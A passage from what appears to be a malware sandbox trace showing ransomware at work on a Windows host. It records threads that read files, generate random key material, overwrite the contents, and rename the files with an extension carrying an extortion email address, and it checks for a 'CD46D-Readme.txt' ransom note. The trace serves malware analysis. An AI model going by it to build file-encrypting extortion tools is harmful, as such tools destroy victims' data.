Seed=0xffbf8f8) returned 0x62e74149 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x1af48e4c [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0xb49870 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x18cf8f88 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x1dfe7b3a [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x7618da3b [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x31a5ffff [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x1220f67d [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x7d43111e [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x44bd7787 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x195dfd44 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x908310 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x71b7fa5d [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x32987165 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x41ba3a07 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x4771f82e [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x2c2c7b4 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x5c90b4b0 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x4fba8035 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x59cd3151 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x8e1af31 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x15478dc9 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x44e91f30 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x26e5ef5 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x6b3fab5e [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x1ab92930 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x4af39a38 [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x2aa2a35f [0050.736] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x1d9c7a35 [0050.748] SetFilePointerEx (in: hFile=0xb84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.748] ReadFile (in: hFile=0xb84, lpBuffer=0x12c88910, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xffbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x12c88910*, lpNumberOfBytesRead=0xffbf8cc*=0xc800, lpOverlapped=0x0) returned 1 [0050.748] SetFilePointerEx (in: hFile=0xb84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bc10 [0050.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43af60 [0050.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0050.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0050.749] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12c95118 [0050.754] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0050.754] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460580 [0050.754] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460580) returned 1 [0050.754] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43af60) returned 1 [0050.754] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0050.754] WriteFile (in: hFile=0xb84, lpBuffer=0x12c95118*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xffbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x12c95118*, lpNumberOfBytesWritten=0xffbf8cc*=0xc800, lpOverlapped=0x0) returned 1 [0053.385] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c95118) returned 1 [0053.385] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c88910) returned 1 [0053.385] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x441020 [0053.385] SetFilePointerEx (in: hFile=0xb84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.385] WriteFile (in: hFile=0xb84, lpBuffer=0x9721820*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0xffbf94c, lpOverlapped=0x0 | out: lpBuffer=0x9721820*, lpNumberOfBytesWritten=0xffbf94c*=0x119, lpOverlapped=0x0) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721820) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe030) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cefd0) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441020) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460508) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4605a8) returned 1 [0053.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4605d0) returned 1 [0053.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40db20 [0053.595] wcscpy (in: _Dest=0x40db20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp" [0053.595] wcscat (in: _Dest=0x40db20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0053.595] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xffbf904, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe6) returned 0x9721820 [0054.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721820) returned 1 [0054.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a06b0) returned 1 [0054.726] NtQueryInformationFile (in: FileHandle=0xb84, IoStatusBlock=0xffbf910, FileInformation=0xffbf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xffbf910, FileInformation=0xffbf8e8) returned 0x0 [0054.726] NtSetInformationFile (FileHandle=0xb84, IoStatusBlock=0xffbf910, FileInformation=0xffbf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0056.119] FlushFileBuffers (hFile=0xb84) returned 1 [0056.124] CloseHandle (hObject=0xb84) returned 1 [0056.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29d78 [0056.500] wcscpy (in: _Dest=0x12e29d78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.500] wcscat (in: _Dest=0x12e29d78, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.500] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29d78) returned 1 [0056.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417a10) returned 1 Thread: id = 640 os_tid = 0x8a4 [0050.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c160 [0050.758] wcscpy (in: _Dest=0x43c160, _Source="C:\\Users\\Default\\AppData\\Local\\Application Data" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data" [0050.758] wcscat (in: _Dest=0x43c160, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data\\") returned="C:\\Users\\Default\\AppData\\Local\\Application Data\\" [0050.758] wcscat (in: _Dest=0x43c160, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data\\*") returned="C:\\Users\\Default\\AppData\\Local\\Application Data\\*" [0050.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba010 [0050.758] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba010) returned 1 [0050.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c160) returned 1 [0050.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d180) returned 1 Thread: id = 641 os_tid = 0x890 [0050.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a550 [0050.762] wcscpy (in: _Dest=0x44a550, _Source="C:\\Users\\Default\\AppData\\Local\\History" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History" [0050.762] wcscat (in: _Dest=0x44a550, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History\\") returned="C:\\Users\\Default\\AppData\\Local\\History\\" [0050.762] wcscat (in: _Dest=0x44a550, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History\\*") returned="C:\\Users\\Default\\AppData\\Local\\History\\*" [0050.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba010 [0050.762] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x4ba010 | out: lpFindFileData=0x4ba010*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.765] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba010) returned 1 [0050.765] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a550) returned 1 [0050.765] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4144c0) returned 1 Thread: id = 642 os_tid = 0x88c [0050.766] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms")) returned 0x23 [0051.257] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms", dwFileAttributes=0x20) returned 1 [0058.922] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc8c [0058.922] GetFileSizeEx (in: hFile=0xc8c, lpFileSize=0xf2df888 | out: lpFileSize=0xf2df888*=248) returned 1 [0058.922] SetFilePointerEx (in: hFile=0xc8c, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.922] ReadFile (in: hFile=0xc8c, lpBuffer=0xf2df80c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf2df808, lpOverlapped=0x0 | out: lpBuffer=0xf2df80c*, lpNumberOfBytesRead=0xf2df808*=0x4, lpOverlapped=0x0) returned 1 [0058.923] SetFilePointerEx (in: hFile=0xc8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93f0 [0058.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9378 [0058.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e92d8 [0058.923] NtQuerySystemTime (in: CurrentTime=0xf2df7e8 | out: CurrentTime=0xf2df7e8*=132174898228980000) returned 0x0 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x6e159f1b [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x41da4b85 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x7ce92f79 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x7f5e94fb [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x386b2120 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x297143c5 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x43f888ec [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x2f79b51c [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x7032dd61 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x1c2b9d9b [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x13d74ad9 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x590de1e2 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x3c8afaf8 [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x71996db [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x406abedf [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x19d1113f [0058.923] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x6e99a730 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x4a7a75a [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x2ca7340e [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x5ea6b060 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x39ec70be [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x6d39515a [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x7359c9b8 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x14e10f31 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x2b733d62 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x39c44905 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x7dca8304 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x16093be4 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x55017869 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x61dcf92a [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0x15dc69b7 [0058.924] RtlRandomEx (in: Seed=0xf2df7f4 | out: Seed=0xf2df7f4) returned 0xd19c1b3 [0058.936] ReadFile (in: hFile=0xc8c, lpBuffer=0x196dd198, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0xf2df7e4, lpOverlapped=0x0 | out: lpBuffer=0x196dd198*, lpNumberOfBytesRead=0xf2df7e4*=0xf8, lpOverlapped=0x0) returned 1 [0058.936] SetFilePointerEx (in: hFile=0xc8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.936] WriteFile (in: hFile=0xc8c, lpBuffer=0x196e99a0*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0xf2df7e0, lpOverlapped=0x0 | out: lpBuffer=0x196e99a0*, lpNumberOfBytesWritten=0xf2df7e0*=0xf8, lpOverlapped=0x0) returned 1 [0064.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9458 [0064.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9430 [0064.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9430) returned 1 [0064.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196e99a0) returned 1 [0064.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196dd198) returned 1 [0064.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4372b0) returned 1 [0064.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bfb8) returned 1 [0064.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x440320 [0064.512] SetFilePointerEx (in: hFile=0xc8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.512] WriteFile (in: hFile=0xc8c, lpBuffer=0x41be58*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0xf2df848, lpOverlapped=0x0 | out: lpBuffer=0x41be58*, lpNumberOfBytesWritten=0xf2df848*=0x119, lpOverlapped=0x0) returned 1 [0064.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 [0064.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ba0) returned 1 [0064.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9430) returned 1 [0064.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440320) returned 1 [0064.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9458) returned 1 [0064.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9378) returned 1 [0064.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e92b0) returned 1 [0064.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9210) returned 1 [0064.514] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x4438b0 [0064.514] wcscpy (in: _Dest=0x4438b0, _Source="C:\\Users\\Default\\Searches\\Everywhere.search-ms" | out: _Dest="C:\\Users\\Default\\Searches\\Everywhere.search-ms") returned="C:\\Users\\Default\\Searches\\Everywhere.search-ms" [0064.514] wcscat (in: _Dest=0x4438b0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Default\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Default\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d" [0064.514] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf2df800, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.514] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4daa0 [0064.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4daa0) returned 1 [0064.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0064.516] NtQueryInformationFile (in: FileHandle=0xc8c, IoStatusBlock=0xf2df80c, FileInformation=0xf2df7e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf2df80c, FileInformation=0xf2df7e4) returned 0x0 [0064.516] NtSetInformationFile (FileHandle=0xc8c, IoStatusBlock=0xf2df80c, FileInformation=0xf2df7e4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4438b0) returned 1 [0064.517] FlushFileBuffers (hFile=0xc8c) returned 1 [0066.229] CloseHandle (hObject=0xc8c) Thread: id = 643 os_tid = 0x884 [0050.767] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms")) returned 0x23 [0051.249] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x20) returned 1 [0060.754] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6b4 [0060.755] GetFileSizeEx (in: hFile=0x6b4, lpFileSize=0x101cfe9c | out: lpFileSize=0x101cfe9c*=248) returned 1 [0060.755] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.755] ReadFile (in: hFile=0x6b4, lpBuffer=0x101cfe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x101cfe1c, lpOverlapped=0x0 | out: lpBuffer=0x101cfe20*, lpNumberOfBytesRead=0x101cfe1c*=0x4, lpOverlapped=0x0) returned 1 [0060.758] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436340 [0060.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4363b8 [0060.758] NtQuerySystemTime (in: CurrentTime=0x101cfdfc | out: CurrentTime=0x101cfdfc*=132174898247388000) returned 0x0 [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x2fd8740e [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x41d735f3 [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x55c38dea [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x2bf7c3bc [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x5f73c962 [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x458ee685 [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x5be76b16 [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x5b20ffa2 [0060.758] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x15449810 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x1c9d0c05 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x2163d3f7 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x67c9cad6 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0xd0a6951 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x31681182 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x71282977 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x24c07c93 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x1193b880 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x590cc307 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x17ae0653 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x3b2db65b [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0x7a16ae78 [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 0xd87c44d [0060.759] RtlRandomEx (in: Seed=0x101cfe08 | out: Seed=0x101cfe08) returned 